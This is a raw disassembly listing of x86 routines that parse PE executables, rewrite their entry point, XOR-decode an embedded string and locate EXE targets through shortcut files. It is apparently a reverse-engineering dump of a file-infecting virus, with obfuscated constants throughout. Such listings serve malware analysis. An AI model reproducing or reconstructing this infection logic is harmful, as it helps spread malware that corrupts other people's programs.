mov eax, dword_54F1E0
add eax, 0E0000018h
add eax, dword_54F0B8
mov [esi+24h], eax
movsx eax, word_54F0B4
add eax, 0FFBh
push eax
push dword ptr [esi+8]
call sub_43FCD8
mov edi, eax
add edi, [ebx+8]
mov [esi+8], edi
mov eax, dword_54F0A0
add eax, 0FFBh
add eax, dword_54F134
push eax
mov eax, [ebp+var_1C]
add eax, [ebx+8]
push eax
call sub_43FCD8
add esp, 10h
mov [ebp+var_1C], eax
add esi, 28h
jmp loc_43A371
; ---------------------------------------------------------------------------
loc_43A248: ; CODE XREF: sub_4395D8+BE6j
; sub_4395D8+BFEj ...
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebp+var_1C]
mov [esi+0Ch], eax
mov eax, [ebx+24h]
mov [esi+24h], eax
push ebx
push esi
call ds:dword_4491A4
mov eax, [ebx+10h]
mov [esi+10h], eax
movsx eax, word_54F0D0
movsx edx, word_54F0CC
lea eax, [eax+edx+5]
push eax
mov eax, dword_54F0F0
sub eax, 3
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_4CB934
mov edi, [ebp+var_18]
mov edx, [ebx+0Ch]
mov [ebp+edi*4+var_420], edx
mov edx, [ebx+8]
mov [ebp+edi*4+var_83C], edx
mov edx, [esi+0Ch]
mov [ebp+edi*4+var_C4C], edx
mov edx, [esi+14h]
mov [ebp+edi*4+var_1050], edx
inc [ebp+var_18]
mov eax, [ebx+10h]
add [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43FCD8
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_54F1AC
dec eax
cmp byte ptr [ebx+eax], 64h
jnz short loc_43A313
mov eax, [ebp+var_31F1C]
cmp [ebp+var_10], eax
jbe short loc_43A313
mov ecx, [ebp+var_10]
sub ecx, eax
mov [ebp+var_31F28], ecx
mov eax, ecx
add [esi+8], eax
mov eax, ecx
add [esi+10h], eax
loc_43A313: ; CODE XREF: sub_4395D8+D19j
; sub_4395D8+D24j
movsx eax, word_54F0FC
add eax, 0FFEh
push eax
mov eax, [esi+0Ch]
add eax, [ebx+8]
push eax
call sub_43FCD8
mov edi, [ebp+var_8]
mov [edi+50h], eax
mov eax, dword_54F214
add eax, 0FFDh
push eax
mov eax, [ebp+var_1C]
add eax, [ebx+8]
push eax
call sub_43FCD8
mov [ebp+var_1C], eax
mov eax, edi
add eax, 6
inc word ptr [eax]
push dword ptr [esi+10h]
mov eax, [ebx+14h]
add eax, [ebp+var_42C]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_4CB814
add esp, 1Ch
loc_43A371: ; CODE XREF: sub_4395D8+B4Ej
; sub_4395D8+B97j ...
inc [ebp+var_440]
loc_43A377: ; CODE XREF: sub_4395D8+AB2j
mov eax, [ebp+var_84C]
movzx eax, word ptr [eax+6]
cmp [ebp+var_440], eax
jb loc_43A08F
mov eax, [ebp+var_107C]
add eax, [ebp+var_42C]
mov [ebp+var_14], eax
loc_43A39C: ; CODE XREF: sub_4395D8+FECj
mov eax, dword_54F1DC
movsx edx, word_54F1A8
add eax, edx
mov [ebp+var_20], eax
jmp short loc_43A40B
; ---------------------------------------------------------------------------
loc_43A3AF: ; CODE XREF: sub_4395D8+E39j
mov edi, [ebp+var_20]
mov edx, [ebp+var_14]
mov edx, [edx]
cmp [ebp+edi*4+var_420], edx
jnz short loc_43A3CB
mov eax, [ebp+var_14]
mov eax, [eax]
mov [ebp+var_C50], eax
loc_43A3CB: ; CODE XREF: sub_4395D8+DE6j
mov edi, [ebp+var_20]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
mov edi, [ebp+var_14]
cmp edx, [edi]
jbe short loc_43A408
mov edi, [ebp+var_20]
mov edi, [ebp+edi*4+var_1050]
mov [ebp+var_1070], edi
mov edi, [ebp+var_20]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1054], edi
jmp short loc_43A413
; ---------------------------------------------------------------------------
loc_43A408: ; CODE XREF: sub_4395D8+E0Cj
inc [ebp+var_20]
loc_43A40B: ; CODE XREF: sub_4395D8+DD5j
mov eax, [ebp+var_18]
cmp [ebp+var_20], eax
jb short loc_43A3AF
loc_43A413: ; CODE XREF: sub_4395D8+E2Ej
mov eax, dword_54F204
sub eax, 2
mov [ebp+var_428], eax
jmp loc_43A58A
; ---------------------------------------------------------------------------
loc_43A426: ; CODE XREF: sub_4395D8+FBEj
mov eax, [ebp+var_428]
mov edx, dword_54F1B0
add edx, dword_54F120
sub edx, 7
add eax, edx
add eax, [ebp+var_14]
mov [ebp+var_31F20], eax
mov ax, [eax]
mov word ptr [ebp+var_31F1C], ax
movzx eax, word ptr [ebp+var_31F1C]
mov edx, dword_54F1AC
sub edx, 2
cmp eax, edx
jz loc_43A59C
movzx edi, word ptr [ebp+var_31F1C]
movsx edx, word_54F0D0
movsx ecx, word_54F148
lea ecx, [edx+ecx+5]
sar edi, cl
mov word ptr [ebp+var_31F24+2], di
movzx edi, word ptr [ebp+var_31F1C]
mov edx, dword_54F168
movsx ecx, word_54F0F4
xchg edx, ecx
add ecx, edx
shl edi, cl
mov word ptr [ebp+var_31F1C+2], di
movzx edi, word ptr [ebp+var_31F1C+2]
mov ecx, dword_54F1E0
sar edi, cl
mov word ptr [ebp+var_31F1C+2], di
movzx eax, word ptr [ebp+var_31F1C+2]
mov edx, dword_54F11C
sub edx, 2
cmp eax, edx
jnz short loc_43A4E9
mov eax, dword_54F1F4
sub eax, 9
cmp [ebp+var_428], eax
jnz loc_43A59C
loc_43A4E9: ; CODE XREF: sub_4395D8+EFBj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1054]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F1C+2]
add eax, edx
mov [ebp+var_31F28], eax
mov eax, [ebp+var_84C]
mov eax, [eax+34h]
mov edx, [ebp+var_14]
add eax, [edx]
movzx edx, word ptr [ebp+var_31F1C+2]
add eax, edx
mov [ebp+var_31F2C], eax
mov ecx, [ebp+var_31F28]
sub ecx, eax
mov [ebp+var_31F30], ecx
movzx eax, word ptr [ebp+var_31F24+2]
movsx edx, word_54F1E8
add edx, dword_54F090
sub edx, 8
cmp eax, edx
jnz short loc_43A57C
mov eax, [ebp+var_1070]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F1C+2]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F34], eax
mov edx, ecx
add [eax], edx
loc_43A57C: ; CODE XREF: sub_4395D8+F7Bj
mov eax, dword_54F17C
sub eax, 5
add [ebp+var_428], eax
loc_43A58A: ; CODE XREF: sub_4395D8+E49j
mov eax, [ebp+var_14]
mov eax, [eax+4]
cmp [ebp+var_428], eax
jb loc_43A426
loc_43A59C: ; CODE XREF: sub_4395D8+E8Aj
; sub_4395D8+F0Bj
mov eax, [ebp+var_14]
mov edx, [eax+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_84C]
mov eax, [eax+0A4h]
mov edx, [ebp+var_107C]
add edx, [ebp+var_42C]
add eax, edx
cmp [ebp+var_14], eax
jb loc_43A39C
mov eax, [ebp+var_8]
mov ecx, [eax+28h]
mov [ebp+var_118C], ecx
mov edx, [ebp+var_1060]
mov [eax+28h], edx
cmp [ebp+var_1184], 0
jnz short loc_43A607
add eax, 60h
mov edx, [ebp+var_84C]
mov edx, [edx+60h]
add [eax], edx
mov eax, [ebp+var_8]
add eax, 68h
mov edx, [ebp+var_84C]
mov edx, [edx+68h]
add [eax], edx
loc_43A607: ; CODE XREF: sub_4395D8+100Ej
mov eax, [ebp+var_8]
movsx edx, word_54F240
movsx ecx, word_54F128
add edx, ecx
sub edx, 7
mov [eax+46h], dx
mov edx, dword_54F1FC
add edx, 5
add edx, dword_54F1F8
mov [eax+1Ah], dl
mov edx, dword_54F0E0
add edx, 7
mov [eax+44h], dx
mov eax, [ebp+var_1080]
add eax, [ebp+var_42C]
mov [ebp+var_31EE8], eax
mov eax, [ebp+var_1080]
mov edx, [ebp+var_31EE8]
add eax, [edx+1Ch]
sub eax, [ebp+var_1188]
mov [ebp+var_31EEC], eax
add eax, [ebp+var_42C]
mov [ebp+var_31EF0], eax
mov eax, [eax]
mov [ebp+var_1058], eax
mov eax, dword_54F1B4
movsx edx, word_54F13C
add eax, edx
sub eax, 0Dh
mov [ebp+var_24], eax
jmp short loc_43A6D8
; ---------------------------------------------------------------------------
loc_43A697: ; CODE XREF: sub_4395D8+1106j
mov edi, [ebp+var_24]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
cmp edx, [ebp+var_1058]
jbe short loc_43A6D5
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_420]
mov [ebp+var_1194], edi
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1198], edi
jmp short loc_43A6E0
; ---------------------------------------------------------------------------
loc_43A6D5: ; CODE XREF: sub_4395D8+10D9j
inc [ebp+var_24]
loc_43A6D8: ; CODE XREF: sub_4395D8+10BDj
mov eax, [ebp+var_18]
cmp [ebp+var_24], eax
jb short loc_43A697
loc_43A6E0: ; CODE XREF: sub_4395D8+10FBj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1198]
add eax, [ebp+var_1058]
sub eax, [ebp+var_1194]
mov [ebp+var_1190], eax
mov eax, [ebp+var_84C]
mov eax, [eax+34h]
add eax, [ebp+var_1058]
mov [ebp+var_1058], eax
mov eax, [ebp+var_850]
mov [ebp+var_C], eax
jmp loc_43A9AC
; ---------------------------------------------------------------------------
loc_43A721: ; CODE XREF: sub_4395D8+13E0j
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov ecx, dword_54F0B8
add ecx, dword_54F150
sub ecx, 7
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_54F0A0
sub edi, 3
cmp ecx, edi
jnz loc_43A858
mov ecx, dword_54F0A0
dec ecx
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_54F204
sub edi, 2
cmp ecx, edi
jnz loc_43A858
movzx ecx, byte ptr [edx+eax]
mov edi, dword_54F114
add edi, 0E4h
add edi, dword_54F1E4
cmp ecx, edi
jnz loc_43A858
mov ecx, dword_54F1DC
add ecx, 3
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_54F23C
add edi, dword_54F200
sub edi, 5
cmp ecx, edi
jnz loc_43A858
add eax, dword_54F1D8
movzx eax, byte ptr [edx+eax]
mov edx, dword_54F220
add edx, dword_54F1A0
sub edx, 0Ah
cmp eax, edx
jnz loc_43A858
mov eax, [ebp+var_8]
mov ecx, [eax+34h]
add ecx, [ebp+var_118C]
mov [ebp+var_31F1C], ecx
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F20], eax
movsx eax, word_54F0F4
mov edx, dword_54F1B4
lea eax, [eax+edx-7]
sub eax, [ebp+var_31F20]
add eax, ecx
movsx edx, word_54F104
add edx, 4
sub eax, edx
mov [ebp+var_31F24], eax
movsx edi, word_54F0A8
add edi, dword_54F1F8
mov edx, [ebp+var_C]
movsx ecx, word_54F0F4
add ecx, dword_54F110
sub ecx, 0Ah
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-0Ch], ecx
loc_43A858: ; CODE XREF: sub_4395D8+1171j
; sub_4395D8+1191j ...
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F1C], edx
mov ecx, dword_54F130
add ecx, 2
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_54F184
movsx edx, word_54F194
add edi, edx
mov edx, edi
sub edx, 5
cmp ecx, edx
jnz loc_43A9A9
movsx edx, word_54F244
add edx, dword_54F23C
sub edx, 6
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F1C]
movzx edx, byte ptr [edx+ecx]
mov ecx, dword_54F14C
add ecx, dword_54F1EC
sub ecx, 5
cmp edx, ecx
jnz loc_43A9A9
mov edx, dword_54F15C
add edx, dword_54F110
sub edx, 0Bh
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F1C]
movzx edx, byte ptr [edx+ecx]
mov ecx, dword_54F12C
sub ecx, 8
cmp edx, ecx
jnz loc_43A9A9
mov edx, [ebp+var_31F1C]
movzx edx, byte ptr [edx+eax]
movsx ecx, word_54F240
add ecx, 0E0h
cmp edx, ecx
jnz loc_43A9A9
mov edx, dword_54F234
movsx ecx, word_54F208
add edx, ecx
sub edx, 5
add eax, edx
mov edx, [ebp+var_31F1C]
movzx eax, byte ptr [edx+eax]
mov edx, dword_54F22C
sub edx, 7
cmp eax, edx
jnz short loc_43A9A9
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F20], eax
mov eax, [ebp+var_1190]
mov [ebp+var_31F24], eax
movsx eax, word_54F0F8
add eax, 0FFFFFFFAh
sub eax, [ebp+var_31F20]
add eax, [ebp+var_31F24]
mov edx, dword_54F0D8
sub edx, 2
sub eax, edx
mov [ebp+var_31F28], eax
movsx edi, word_54F104
mov edx, [ebp+var_C]
mov ecx, dword_54F0BC
inc ecx
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4], ecx
loc_43A9A9: ; CODE XREF: sub_4395D8+12B3j
; sub_4395D8+12E8j ...
inc [ebp+var_C]
loc_43A9AC: ; CODE XREF: sub_4395D8+1144j
mov eax, [ebp+var_850]
add eax, 0Dh
cmp [ebp+var_C], eax
jb loc_43A721
push [ebp+var_1074]
call ds:dword_4CB948
push [ebp+arg_0]
lea eax, [ebp+var_117F]
push eax
call ds:dword_4491A4
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43A9E5: ; CODE XREF: sub_4395D8+1412j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43A9E5
mov [ebp+var_31EDC], eax
mov edx, dword_54F1DC
movsx ecx, word_54F198
add edx, ecx
sub eax, edx
mov [ebp+eax+var_117F], 72h
mov eax, [ebp+var_31EDC]
movsx edx, word_54F208
add edx, 2
sub eax, edx
mov [ebp+eax+var_117F], 69h
mov eax, [ebp+var_31EDC]
mov edx, dword_54F178
sub edx, 7
sub eax, edx
mov [ebp+eax+var_117F], 76h
mov eax, dword_54F134
sub eax, 2
push eax
mov eax, dword_54F18C
sub eax, 1
push eax
push 2
movsx eax, word_54F0B4
sub eax, 5
push eax
mov eax, dword_54F0AC
sub eax, 7
push eax
push 40000000h
lea eax, [ebp+var_117F]
push eax
call ds:dword_54DB18
mov [ebp+var_1074], eax
mov eax, dword_54F17C
sub eax, 7
push eax
lea eax, [ebp+var_31EE0]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1074]
call ds:dword_54DF1C
push [ebp+var_1074]
call ds:dword_4CB948
push [ebp+var_4]
call ds:dword_4495CC
push 0
push [ebp+arg_0]
lea eax, [ebp+var_117F]
push eax
call ds:dword_4CA544
lea eax, [ebp+var_117F]
push eax
call ds:dword_44600C
mov eax, 1
jmp short loc_43AAF2
; ---------------------------------------------------------------------------
loc_43AADB: ; CODE XREF: sub_4395D8+117j
; sub_4395D8+131j ...
push [ebp+var_1074]
call ds:dword_4CB948
push [ebp+var_4]
call ds:dword_4495CC
xor eax, eax
loc_43AAF2: ; CODE XREF: sub_4395D8+9Dj
; sub_4395D8+1501j
pop edi
pop esi
pop ebx
leave
retn
sub_4395D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AAF7 proc near ; CODE XREF: sub_438324+426p
; sub_438324+475p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_54F250, 0
jnz short loc_43AB1F
push offset dword_54E050
call ds:dword_447FCC
mov dword_54F250, 1
loc_43AB1F: ; CODE XREF: sub_43AAF7+11j
mov esi, dword_54F134
inc esi
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+1]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_54F158
add edx, dword_54F230
dec edx
cmp eax, edx
jz loc_43ABDE
push offset dword_54E050
call ds:dword_54C95C
movsx eax, word_54F0F4
movsx edx, word_54F144
add eax, edx
sub eax, 3
mov [ebp+var_2], ax
jmp short loc_43AB90
; ---------------------------------------------------------------------------
loc_43AB7B: ; CODE XREF: sub_43AAF7+A3j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+2]
xor edx, ecx
mov [eax], dl
inc [ebp+var_2]
loc_43AB90: ; CODE XREF: sub_43AAF7+82j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43AB7B
movsx eax, word_54F0CC
dec eax
movsx edx, word_54F0F8
sub edx, 5
mov [edi+eax], dl
movsx eax, word_54F198
add eax, dword_54F1C8
sub eax, 8
mov edx, dword_54F0E0
add edx, dword_54F124
sub edx, 8
mov [edi+eax], dl
push offset dword_54E050
call ds:dword_4CB940
loc_43ABDE: ; CODE XREF: sub_43AAF7+5Aj
lea eax, [edi+3]
pop edi
pop esi
pop ebx
leave
retn
sub_43AAF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ABE6 proc near ; CODE XREF: sub_43ADF1+2C8p
; sub_43E77A+1ADp
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_316 = byte ptr -316h
var_212 = byte ptr -212h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 32Ch
push ebx
push esi
push edi
push [ebp+arg_4]
call ds:dword_50C924
pop ecx
push [ebp+arg_0]
lea eax, [ebp+var_316]
push eax
call sub_4455D4
lea ecx, [ebp+var_316]
or eax, 0FFFFFFFFh
loc_43AC14: ; CODE XREF: sub_43ABE6+33j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43AC14
mov edx, dword_54F204
add edx, dword_54F098
sub edx, 0Ah
mov ebx, eax
sub ebx, edx
mov edx, dword_54F180
mov [ebp+ebx+var_316], dl
mov eax, dword_54F154
movsx edx, word_54F104
mov edi, eax
add edi, edx
sub edi, 8
loc_43AC4E: ; CODE XREF: sub_43ABE6+16Fj
mov eax, edi
mov ecx, dword_54F0C8
inc ecx
mul ecx
mov [ebp+var_320], eax
movsx eax, [ebp+edi+var_316]
mov edx, [ebp+var_320]
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, dword_54F0E4
sub ecx, 3
mul ecx
mov [ebp+var_324], eax
mov eax, dword_54F1A0
add eax, dword_54F19C
sub eax, 0Bh
mov edx, [ebp+var_324]
add edx, eax
mov eax, dword_54F1BC
add eax, dword_54F238
sub eax, 6
mov [ebp+edx+var_212], al
movsx eax, [ebp+edi+var_316]
movsx edx, word_54F1F0
add edx, dword_54F10C
sub edx, 8
cmp eax, edx
jnz loc_43AD54
mov eax, edi
mov ecx, dword_54F17C
sub ecx, 5
mul ecx
mov [ebp+var_328], eax
mov eax, dword_54F0E4
add eax, dword_54F098
sub eax, 0Bh
mov edx, [ebp+var_328]
add edx, eax
movsx eax, word_54F1A8
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, dword_54F150
add ecx, dword_54F134
sub ecx, 4
mul ecx
mov [ebp+var_32C], eax
mov eax, dword_54F16C
movsx edx, word_54F0F8
add eax, edx
sub eax, 8
mov edx, [ebp+var_32C]
add edx, eax
movsx eax, word_54F190
add eax, dword_54F0E4
sub eax, 0Dh
mov [ebp+edx+var_212], al
jmp short loc_43AD5A
; ---------------------------------------------------------------------------
loc_43AD54: ; CODE XREF: sub_43ABE6+E6j
inc edi
jmp loc_43AC4E
; ---------------------------------------------------------------------------
loc_43AD5A: ; CODE XREF: sub_43ABE6+16Cj
mov eax, dword_54F124
sub eax, 2
cmp dword_54F26C, eax
jz short loc_43ADCB
lea eax, [ebp+var_212]
push eax
mov eax, dword_54F1D4
sub eax, 8
push eax
call ds:dword_4495B4
mov esi, eax
or esi, esi
jz short loc_43ADCB
mov eax, dword_54F1A0
add eax, dword_54F19C
sub eax, 0Ch
cmp dword_54F270, eax
jz short loc_43ADEC
mov eax, dword_54F0D8
add eax, dword_54F12C
sub eax, 0Dh
neg eax
push eax
lea eax, [ebp+var_212]
push eax
movsx eax, word_54F118
add eax, dword_54F18C
sub eax, 9
push eax
call ds:dword_446024
loc_43ADCB: ; CODE XREF: sub_43ABE6+182j
; sub_43ABE6+19Ej
push ds:dword_4495C4
push ds:dword_4CC8FC
lea eax, [ebp+var_316]
push eax
call sub_4395D8
add esp, 0Ch
mov [ebp+var_31C], eax
loc_43ADEC: ; CODE XREF: sub_43ABE6+1B4j
pop edi
pop esi
pop ebx
leave
retn
sub_43ABE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ADF1 proc near ; CODE XREF: sub_43E77A+183p
var_12110 = byte ptr -12110h
var_1210C = word ptr -1210Ch
var_1210A = word ptr -1210Ah
var_12108 = dword ptr -12108h
var_12104 = byte ptr -12104h
var_12000 = word ptr -12000h
var_11FFE = byte ptr -11FFEh
var_1FFF = byte ptr -1FFFh
var_1FB3 = byte ptr -1FB3h
var_1FB2 = byte ptr -1FB2h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 12110h
call sub_4455B4
push ebx
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_12104]
push eax
call sub_4455D4
lea ecx, [ebp+var_12104]
or eax, 0FFFFFFFFh
loc_43AE19: ; CODE XREF: sub_43ADF1+2Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43AE19
mov ebx, dword_54F1B4
sub ebx, 3
mov esi, eax
sub esi, ebx
movsx ebx, word_54F0D0
sub ebx, 6
mov [ebp+esi+var_12104], bl
movsx eax, word_54F194
add eax, dword_54F18C
sub eax, 2
push eax
movsx eax, word_54F144
sub eax, 4
push eax
push 3
movsx eax, word_54F1E8
add eax, dword_54F1B8
sub eax, 0Bh
push eax
push dword_54F1DC
push 80000001h
lea eax, [ebp+var_12104]
push eax
call ds:dword_54DB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_43B0C1
movsx eax, word_54F240
sub eax, 8
push eax
lea eax, [ebp+var_12110]
push eax
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push edi
call ds:dword_446034
mov [ebp+var_12108], eax
push edi
call ds:dword_4CB948
cmp [ebp+var_1FFF], 4Ch
jnz loc_43B0C1
mov eax, dword_54F0AC
sub eax, 7
cmp [ebp+var_12108], eax
jz loc_43B0C1
movzx esi, [ebp+var_1FB3]
movzx ebx, [ebp+var_1FB2]
movzx ebx, bx
shl ebx, 8
or esi, ebx
mov [ebp+var_1210A], si
movzx eax, [ebp+var_1210A]
mov edx, dword_54F1DC
add edx, 44h
add edx, dword_54F108
add eax, edx
mov edx, dword_54F0F0
dec edx
add eax, edx
mov [ebp+var_12000], ax
movzx eax, [ebp+var_12000]
movsx eax, [ebp+eax+var_1FFF]
movsx edx, word_54F0FC
add edx, dword_54F1B4
sub edx, 6
cmp eax, edx
jz loc_43B0C1
movzx eax, [ebp+var_12000]
mov edx, dword_54F1FC
add edx, 3
add edx, dword_54F0E4
add eax, edx
movsx eax, [ebp+eax+var_1FFF]
mov edx, dword_54F0BC
add edx, dword_54F188
sub edx, 4
cmp eax, edx
jnz loc_43B0C1
movzx eax, [ebp+var_12000]
mov edx, dword_54F20C
add edx, 0Ch
mov ecx, eax
add ecx, edx
movzx edx, [ebp+ecx+var_1FFF]
mov esi, dword_54F090
add esi, 0Dh
mov ebx, eax
add ebx, esi
movzx esi, [ebp+ebx+var_1FFF]
movzx esi, si
shl esi, 8
mov ebx, edx
or ebx, esi
mov esi, ebx
movzx esi, si
mov ebx, eax
add ebx, esi
mov esi, ebx
mov [ebp+var_1210C], si
movzx eax, [ebp+var_1210C]
lea eax, [ebp+eax+var_1FFF]
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_4455D4
lea ecx, [ebp+var_11FFE]
or eax, 0FFFFFFFFh
loc_43AFF7: ; CODE XREF: sub_43ADF1+20Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43AFF7
mov edi, eax
mov eax, edi
sub eax, dword_54F090
cmp [ebp+eax+var_11FFE], 2Eh
jnz short loc_43B08F
mov eax, dword_54F1F4
add eax, dword_54F0E8
sub eax, 7
mov edx, edi
sub edx, eax
movsx eax, [ebp+edx+var_11FFE]
push eax
call ds:dword_44603C
add esp, 4
cmp eax, 45h
jnz short loc_43B08F
mov esi, dword_54F098
add esi, dword_54F188
sub esi, 0Ch
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_44603C
add esp, 4
cmp eax, 58h
jnz short loc_43B08F
mov esi, dword_54F170
add esi, dword_54F14C
sub esi, 5
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_44603C
add esp, 4
cmp eax, 45h
jz short loc_43B091
loc_43B08F: ; CODE XREF: sub_43ADF1+21Fj
; sub_43ADF1+248j ...
jmp short loc_43B0C1
; ---------------------------------------------------------------------------
loc_43B091: ; CODE XREF: sub_43ADF1+29Cj
push offset dword_550820
call sub_43AAF7
push eax
lea edi, [ebp+var_11FFE]
push edi
call ds:dword_44602C
mov eax, dword_54F0D8
sub eax, 6
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_43ABE6
add esp, 14h
loc_43B0C1: ; CODE XREF: sub_43ADF1+99j
; sub_43ADF1+D8j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43ADF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B0C6 proc near ; CODE XREF: sub_441ADA+63p
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = word ptr -80h
var_40 = word ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
mov ebx, dword_54F090
sub ebx, 4
jmp short loc_43B0EC
; ---------------------------------------------------------------------------
loc_43B0DD: ; CODE XREF: sub_43B0C6+30j
mov edx, dword_54F178
sub edx, 9
mov [ebp+ebx*2+var_40], dx
inc ebx
loc_43B0EC: ; CODE XREF: sub_43B0C6+15j
mov eax, dword_54F248
add eax, 1Ch
cmp ebx, eax
jb short loc_43B0DD
movsx eax, word_54F1F0
movsx edx, word_54F148
mov esi, eax
add esi, edx
sub esi, 7
jmp short loc_43B120
; ---------------------------------------------------------------------------
loc_43B10F: ; CODE XREF: sub_43B0C6+65j
mov edx, esi
shl edx, 1
mov ecx, [ebp+arg_4]
mov cx, [ecx+esi*2]
mov [ebp+edx+var_80], cx
inc esi
loc_43B120: ; CODE XREF: sub_43B0C6+47j
mov eax, dword_54F114
lea eax, [eax+eax+1Eh]
cmp esi, eax
jb short loc_43B10F
lea eax, dword_54CAC0
mov [ebp+var_88], eax
mov eax, dword_54F1D0
sub eax, 7
mov [ebp+var_84], eax
loc_43B147: ; CODE XREF: sub_43B0C6+12Cj
; sub_43B0C6+144j
push [ebp+var_84]
push [ebp+arg_0]
call sub_43FB90
add esp, 8
mov [ebp+var_8C], eax
mov eax, dword_54F0BC
inc eax
cmp [ebp+var_8C], eax
jnz short loc_43B1A7
lea eax, [ebp+var_80]
push eax
lea eax, [ebp+var_40]
push eax
call sub_443AFA
mov [ebp+var_90], eax
push [ebp+var_88]
lea eax, [ebp+var_40]
push eax
call sub_440478
add esp, 10h
or eax, eax
jz short loc_43B1A7
push [ebp+var_88]
lea eax, [ebp+var_40]
push eax
call sub_43946B
add esp, 8
loc_43B1A7: ; CODE XREF: sub_43B0C6+A4j
; sub_43B0C6+CDj
inc [ebp+var_84]
mov eax, dword_54F238
add eax, 20h
mov edx, dword_54F1DC
add edx, 0Ah
add edx, dword_54F0E0
imul eax, edx
cmp [ebp+var_84], eax
jnb short loc_43B20F
lea eax, [ebp+var_80]
push eax
call sub_43B71B
mov [ebp+var_90], eax
push [ebp+var_88]
lea eax, [ebp+var_80]
push eax
call sub_440478
add esp, 0Ch
or eax, eax
jz loc_43B147
push [ebp+var_88]
lea eax, [ebp+var_80]
push eax
call sub_43946B
add esp, 8
jmp loc_43B147
; ---------------------------------------------------------------------------
loc_43B20F: ; CODE XREF: sub_43B0C6+107j
mov edi, dword_54F228
sub edi, 8
jmp short loc_43B22B
; ---------------------------------------------------------------------------
loc_43B21A: ; CODE XREF: sub_43B0C6+16Fj
mov edx, edi
shl edx, 1
mov ecx, [ebp+arg_0]
mov dx, [ebp+edx+var_40]
mov [ecx+edi*2], dx
inc edi
loc_43B22B: ; CODE XREF: sub_43B0C6+152j
mov eax, dword_54F10C
add eax, 1Eh
cmp edi, eax
jb short loc_43B21A
pop edi
pop esi
pop ebx
leave
retn
